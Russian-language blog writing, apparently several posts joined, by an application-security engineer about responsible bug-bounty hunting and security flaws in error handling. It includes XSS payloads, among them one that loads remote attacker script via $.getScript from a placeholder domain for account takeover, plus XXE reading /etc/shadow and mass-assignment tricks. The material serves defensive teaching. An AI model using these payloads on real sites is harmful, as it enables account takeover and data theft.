Я очень люблю программу багбаунти Timeweb. Да у них много легаси, о которых они знают, но искать и взаимодействовать с командой ИБ приятно. Она очень выросла со старта.

История бага:

При регистрации имя пользователя создается автоматически. Сделали фичу смены логина. Я завела там баги, к сожалению о них оказалось уже знают. Но у меня остался аккаунт с username="NULL".

Прошло пол года с тестирования

И мне на почту стали приходить письма.

За несколько дней мой почтовый ящик завалили письмами.

Я посмотрела по Whoami и обнаружила, что сообщение приходи после покупки или продления доменов.

Вот так случайно, был найден и заведен баг.

В чем была причина?

Разработчик прокоментировал, что там было 2 причины:

• Портал вместо логина клиента "null" отправлял null
• Недостаток валидации

Ссылка на раскрытый репорт:

https://bugbounty.bi.zone/reports/6777

Боян - это уже было

Похожий отчет был сдан в qiwi https://hackerone.com/reports/487296

Похожая история произошла с американским исследователем в области безопасности Джозефом Тартаро, когда он решил сделать номер "NULL" своей машине и начал получать штрафы всех машин с не распознанными номерами. https://habr.com/ru/companies/ua-hosting/articles/463859/

В качестве вывода

• Некоторые баги в багбаунти находятся случайно - главное вовремя заметить
• Вот такие бывают забавные ошибки валидации

Whoami

Всем привет, меня зовут Аня. Я работаю AppSec-м: встраиваю сканеры в пайплайн, пишу правила, документацию, учу как не допускать уязвимости в своей кодовой базе. Была QA/QA automation, через CTF и задания веба (спасибо SpbCTF) познакомилась с проблемами безопасности и так много начала находить в своих проектах, что перешла в AppSec. Для понимания - тыкать кавычки я немного умею, но не занимаюсь этим на работе - фокус сейчас "как не допустить".

Появилась идея - проверить, что может найти начинающий багхантер, который никогда этим не занимался, по различным гипотезам. Сразу скажу, что тут не будет автоматизации (это тема для следующего вызова), все уязвимости искала в ручную. Только ты и Burp Suite.

В чем суть:

Какие вопросы себе задает начинающий багхантер:

• Где сдавать уязвимости?
• Какую программу выбрать и как?
• Что искать?
• Каким способом?
• Может ли новичек что-то найти или все баги забрал себе Рамазан?

Разберемся с каждым вопросом.

Где сдавать/искать уязвимости?

Искать на багбаунти платформах

Есть 3 RU багбаунти платформы:

• https://app.bugbounty.bi.zone/
• https://bugbounty.standoff365.com/
• https://bugbounty.ru/

Плюсы:

• У тебя растет рейтинг чсв.
• Тебя добавляют в приватки по рейтингу.
• Можно пожаловаться платформе про жизнь не легкую багхантерскую. Попросить платформу выступить арбитром в сложных вопросах, потыкать палочкой в вендора, который не отвечает тебе по почте с вопросом доступа.
• Мерч от платформ. Ну не ради денег же багхантить в самом деле:)

Минусы:

• Их нет - пишите в комментах, если знаете.

Искать на self-hosted платформах

Это проекты, которые не выложены на багбаунти платформах. Они имеют у себя страницу багбаунти с указанием куда писать в случае обнаружения уязвимости.

Например:

• https://yandex.ru/bugbounty/
• https://kontur.ru/bugbounty
• https://www.jivo.ru/bugbounty/
• https://bugbounty.mts-link.ru/
• и тд

Можно самому договариваться c проектами

Этот способ подсказал fat_dog. Пишешь менеджеру проекта и если они согласны, чтобы ты поискал у них уязвимости, то начинаешь искать. Сначала искать, а потом шантажировать, что "я нашел у вас крит и если не заплатите солью в паблик" - не нужно. Мы все-таки тут белые хакеры.

Плюсы:

• Большое количество "низко-висящих фруктов". Зачастую в таких проектах очень просто найти уязвимость.

Минусы:

• Низкие выплаты. Скорее всего тебе заплатят своей же продукцией. Но если ты не против получить ящик кофе, то почем у бы и нет.
• На такое согласится 1 из 10 менеджеров и скорее всего тот, которого уже поломали.

Какой способ был выбран?

Я выбрала просто сдавать на следующих багбаунти платформах:

• https://app.bugbounty.bi.zone/profile/savAnna/hackactivity
• https://standoff365.com/profile/savAnna

Как выбрать программу и какие тут есть варианты?

Одна лишь цель

Выбрать интересную программу/продукт и закопаться. Это позволяет глубже познакомится с функционалом и собрать не только "низко-висящие фрукты", накопить себе кучу записок по аномалиям, порисовать схемы процессов, провести полноценно разведку.

Выбрала первого вендора - Консоль по следующим критериям:

• Продукт понятен и похож на прошлую работу.
• Бэкенд на этом ЯП я еще не тестировала.
• Антон(ex всея Консоли и триажа там) шутит смешные шутки в чатах - значит и триаж будет не душный - этот пункт меня не подвел.

Минус тут оказался в том, что Антон уволился и вендор перестал рассматривать уязвимости. Без объявления войны убрал доступ до моей тестовой учетной записи, а потом и вовсе закрыл программу. И сидишь со своим списком md-файлов с аномалиями. Мой вывод, что лучше закапываться в продукты стабильных вендоров. Багбаунти, которых не держится на 1 человеке.

Тестить все по чуть-чуть

Следущий способ, который решила проверить - тестить все. 1 программа - 1 вечер. Минусы этого способа были, что некоторые продукты были просто не интересны и если не нашел "изи бага", то переходил к следующей. Из этого способа появился следующий.

Выбираем по типу

Выбираешь максимально удобный и понятный для тебя бизнес-процесс: банк, магазин, vds-ка и тестируешь именно эти программы.
Плюсы этого подхода: не нужно тратить время на понимание бизнес-процесса, можно повторять одни и те же проверки во всех программах.
Мне понравилось тестить облачные платформы, VDS-ки и магазины.

Бежать при открытии новой программы тестить быстрее всех

Этот способ рабочий, но оказался не самый эффективный для меня. Так как тестировала не каждый вечер и пока ты дойдешь до субботы, где ты можешь потестить Рамазан уже все сдаст - твои отчеты превращаются в дубли. Но если у вас самая быстрая рука на диком западе, то этот способ для вас.

Дальше когда мы определились с тем где мы хотим искать уязвимости - рассмотрим что и как будем искать.

Что и как искать?

Обученная обезьянка

Запомнил один прием и его повторяешь.

Для меня таким приемом стал добавлять во все поля

<img src=x onerror=alert();>

Способ немного занудный и я не долго на нем просидела. Тем не менее было найдено несколько багов. Правда пришлось выйти из образа обезьянки, когда на отчет по XSS, "вот методы позволяющие сделать захват аккаунта" - триажер не согласился и сказал, что тут 255 символов и что ты мне сделаешь или предоставляй реальный poc или иди на фик информатив. Пришлось для доказательства как не правы те, кто думает, что что ограничения в количестве символов защитят писать 2 варианта:

1 вариант - написать скрипт напрямую в paylod.
С помощью jquery, который подключен на сайте можно значительно уменьшить свой payload.

2 вариант - просто обращаться к своему скрипту

Загрузить на домен куда позволяет CSP, настроить CORS и писать скрипты на сколько хочешь символов

Все это можно проверить через консоль

$.get('https://domen/script.js', (d) => { })

Выводим window - ищем нашу функцию - убедились, что скрипт подгружается.

Пишем в скрипте вызов нужных методов.

И финальный POC

<img src=x onerror="$.getScript({url:'https://domen/script.js'},()=>{_hack.fn()})">

Потом триажеры сказали, что ты не реализовал запись токенов себе на S3 бакет/куда-либо, "показал только теоритическую возможность", поэтому отчет захват аккаунта через XSS - был помечен как информатив. Так что я выпила ромашкового чаю пришлось скачивать либу aws, билдить модуль записи на бакет, загружать, разбираться и все это ради копеечного реварда. Обезьянка слишком запарилась и потратила нервы на пинг-понг с триажерами - не надо так.

Так что способ обезьянки рабочий, но для аргументов для триажеров приходится выходить из этого образа.

Выбрать CWE и проверять его всеми различными способами

Для этого я выбрала IDOR(BOLA). Потому что он простой, у него есть разные способы и топ-1 OWASP 2023 как никак - API1:2023 Broken Object Level Authorization

Было найдено 11 багов (правда часть оказалось дублями, часть вендор счел информатив)

Так что те, кто писал "Такие простые уязвимости найти нельзя" после мастер-класса Поиск уязвимостей IDOR (BOLA) - вы заблуждаетесь.

Искать функционал с определенной багой

Например, ты знаешь библиотеки не безопасные по умолчанию. Ищешь проекты где она используется, потому что разработчики редко читают документацию "как сконфигурировать безопасно" (отсюда и родилось правило secure by default).

Возьмем самый простой пример, когда есть функционал отображения файла, который загружается на тот же домен, то разработчики часто забывают, что svg inline - это XSS.

Или узнал какой XML парсер не безопасный по умолчанию - ищешь обработку XML - обычно это едо, оплата, всякие интеграции с 1С. Нашел такой метод - получил XXE.

Засесть за одной фичей

Например, за аутентификацией. Проверить все методы получения токена, смена пароля, смены 2fa и тд. Нарисовать схему, продумать все варианты. Где-нибудь да найдется обход 2fa.

Следить за новостями

Следуя гипотезе, что бизнес хочет выпустить фичу поскорее, наплевав на качество - "приняв риски", подписываемся на обновления и бежим тестировать новый функционал платформы. Способ так же рабочий, была найдена 1 уязвимость, но тут оказалась проблема, что среди 1 новости платформы - приходится 10 постов про "10 советов для домохозяек как работать с нашей платформой". Если вы знаете как по другому получить список новых фич - поделитесь способом.

Выводы:

Итого: за месяц исследований(в основном по субботам и иногда по вечерам) было найдено 17 уязвимостей, из них:

• 7 подтверждено.
• 5 пока не рассмотрели.
• 4 информатив(по некоторым еще ведутся дебаты, 2 например мне удалось доказать и они были приняты).
• 1 дубль.

Каждый способ поиска оказался рабочим и принес подтвержденную багу.

• Найти даже очень простые баги и получить за них ревард можно.
• Для того, чтобы найти что-то не нужны сверх-навыки.
• Иногда найти баг можно не просидев все выходные, а за 30 минут.
• Осилит дорогу идущий.

Если у вас все-равно не получается, то рекомендую:

• Подумать о бизнес-ценности данного продукта. Какой риск бизнес не хотел бы допустить.
• Подтянуть базу знаний и порешать лабы/CTF-ки. Рекомендую начать с TryHackMe или с Portswigger Academy

Удачного вам багхантинга!

Какие могут быть варианты обработок ошибок:

• Приложение не обрабатывает исключения и выводит "Internal Server Error".
• Все исключение обрабатываются одной ошибкой "Введите валидное значение".
• Все варианты выводят человекочетаемую ошибку, а-ля "Значение X не валидно, введите Y".
• Выводит ошибку из кода вида: "json: cannot unmarshal number into Go value of type requests.CreateDirectoryRequest"
• В тексте ошибки выводится StackTrace - самый плохой для разработчика случай и отличный для багхантера случай.

Давайте рассмотрим какие проблемы с безопасностью могут быть в обработке ошибок и валидации.

Дополнительная информация о системе

Мы хотим протестировать веб-приложение. Первым делом нужно собрать о нем информацию: на каком языке программирования написано приложение, что используется в качестве базы данных, какие фреймворки, библиотеки и так далее.
Зачем это нужно? - для каждого ЯП есть свои "экзотические уязвимости".
Узнали версию библиотеки - проверили какие существуют CVE для нее, выставлена ли не безопасная конфигурация по умолчанию. Если библиотека не безопасна по умолчанию, то велика вероятность, что разработчики не прочитали документацию и функционал уязвим.
Здесь нам поможет текст ошибки.Часто разработчики выводят ошибку фреймворка, а не обрабатывают сами все случаи.

Определение ЯП и использование его "фичи":

Ввели не валидное значение, например %00 - получили "Translation missing: ru.errors.generic.nonexistent". Поняли, что это Ruby on Rails. Если проверка, реализована через if request.post? то передав _method=GET ее можно обойти. Например, передав параметры не доступные для редактирования в методе POST, но имеющиеся в контроллере получаем Mass Assignment.

Определили библиотеку и узнали ее не безопасную конфигурацию:

Увидели, что используется JavaScriptObjectDeserializer

Знаем, что тут может быть уязвимость Insecure deserialization, только в случае, если используется TypeResolver:

JavaScriptSerializer jsonSerializer = new JavaScriptSerializer(new SimpleTypeResolver());

Информация о внутренней инфраструктуре

В некоторых случаях метод возвращает StackTrace. Это настоящий подарок для багхантера, потому что StackTrace может содержать секреты: connection string, токены, внутренние хосты и так далее.

Сonnection string в тексте ошибки:

Если приложение не может подключится к базе данных, то вернет connection string.

Что-то пошло не так, попробуйте еще раз. A timeout occured after 30000ms selecting a server using CompositeServerSelector{ Selectors = MongoDB.Driver.MongoClient+AreSessionsSupportedServerSelector, LatencyLimitingServerSelector
{ AllowedLatencyRange = 00:00:00.0150000 }
}. Client view of cluster state is { ClusterId : "1", ConnectionMode : "Automatic", Type : "Standalone", State : "Disconnected", Servers : [{ ServerId: "
{ ClusterId : 1, EndPoint : "Unspecified/mongo-test:27017" }
", EndPoint: "Unspecified/mongo-test:27017", State: "Disconnected", Type: "Unknown", HeartbeatException: "MongoDB.Driver.MongoConnectionException: An exception occurred while opening a connection to the server.\n

Злоумышленник может создать эту проблему, что бы получить строку подключения. Например, создав множество паралелльных соединений с бд.

Дисклеймер!
Класть базу даннных, что бы получить строку подключения на багбаунти крайне не рекомендую.

Токен в тексте ошибки - пример с hackerone от CIRCUIT

Слив какого-то access токена :)

Ввели в поле userId=Ic%27 https://api.qiwi.me/social-networks/vk?userId=lc%27

Получили исключение с маскированным access_token:

{"application":"PiggyBox[public] v-1.25.393","error":"https://api.vk.com/method/users.get?access_token=165981de1**********4bfdb3b085c5eb7f61de75e3\u0026fields=photo_200%2Ccity\u0026lang=ru\u0026user_ids=lc%27\u0026v=5.101","trace_id":"9c508a391ae7fbff","uptime":"1h44m31.433579453s"}

Избыточная информация в тексте ошибки

Иногда разработчики стараются добавить в текст ошибки больше информации, что приводит к раскрытию персональных данных.

Информация о пользователях:

Есть система в которой компания может создавать задания исполнителям.
Например, задание "доставка пиццы" для курьеров.
Перебирая contractors_ids можно перебрать ФИО исполнителей других компаний.

Если бы разработчик выводили тут еще и телефон или весь объект contractor, то утечка персональных данных в этой системе стала бы критичной.

Информация от пользователя, которая не должна попадать в логи:

Метод смены пароля часто имеет правила. "Пароль 111 должен быть не короче 8 символов, содержать хотя бы одну заглавную букву и цифру". Текст сообщения содержит ошибку с информацией, которую ввел пользователь.
Так как пользователи добавляют обычно к своему паролю символы, которые требуются в правилах, то логи приложения будут содержать "почти верный пароль пользователя". Отличающийся на 1-2 символа.
В данном случае ошибка должна была быть - "Пароль должен быть не короче 8 символов, содержать хотя бы одну заглавную букву и цифру"

Уязвимости в обработке ошибки

Валидация может содержать уязвимости. Не буду приводить пример с error based sql injection - все о ней знают и хотя встречается чаще всего на CTF, но забывать о ней не стоит.

XXE:

XML - парсеры могут быть узявимы к XXE(XML External Entity). Если разработчики вывели в каком элементе значение было не верным, то можно увидеть результат выполнение XXE и получить в тексте ошибки любые локальные файлы сервера доступные под пользователем под которым запущенно приложение. Иногда оно запущенно из под root. Проверяем можем ли мы получить /etc/shadow и если да, то это root, поздравляю.

Ошибки могут дезинформировать

При тестировании, если мы получаем ошибку, то предполагаем, что метод не выполнился. Но иногда это не так и само наличие ошибки может сбивать с толку.

Например, при тестировании на IDOR в методах создания/удаления/изменения сущности - полагаться только на успешный ответ/ошибку не стоит.

Метод возвращает ошибку и выполняется

Метод удаления файла. Пробуем удалить файл

Получаем ошибку "Невозможно удалить файл". Думаете файл действительно не удалился?

Файл был удален.
Почему это происходит разберем на примере построения зиккурата.

Выполнение продолжается после вывода ошибки

if () {
print("Нельзя сотворить здесь")
}
строим зиккурат

Метод должен прекращать выполнение. Один из вариантов - реализация через вызов исключения.

if () {
} else {
return new ExceptionResult("Нельзя сотворить здесь")
}
строим зиккурат

Проверки нет и выводится ошибка от другого действия

Например, проверили, что земля проклята после строительства зуккурата.

строим зиккурат
if (земля проклята) {
прокачиваем зиккурат
} else {
throw new exception("Нельзя сотворить здесь")
}
преобразовываем зиккурат в башню духов

Нужно "до"

if (земля проклята) {
строим зиккурат
} else {
throw new exception("Нельзя сотворить здесь")
}

Где это встречается?

• Когда в методе много шагов с разными проверками
• Есть интеграция и ошибку можем получить, когда клиент оборвал соединение, но продолжил выполнение. Например, метод вернул ошибку биллинга, но деньги списались, потому что разработчик забыл передать CancellationToken.

Надо сказать, что оба варианта встречаются редко - чаще метод возвращает 200 success, когда код не был выполнен. Тем не менее такие кейсы встречаются на проде и в багбаунти и бывает полезно убедится, что ошибка стабильна и метод действительно не был выполнен.

В заключение:

Как быть, если ты разработчик/QA и хочешь не допустить перечисленные проблемы?

• Не выводить StackTrace в текст ошибки
• StackTrace выводить в систему логирования
• Не выводить избыточную информацию в текст ошибки
• Задуматься какую информацию выводите пользователям
• Искать и исправлять уязвимости :)

Пользуйтесь чек-листом:

Чек-лист "Безопасность обработки ошибок"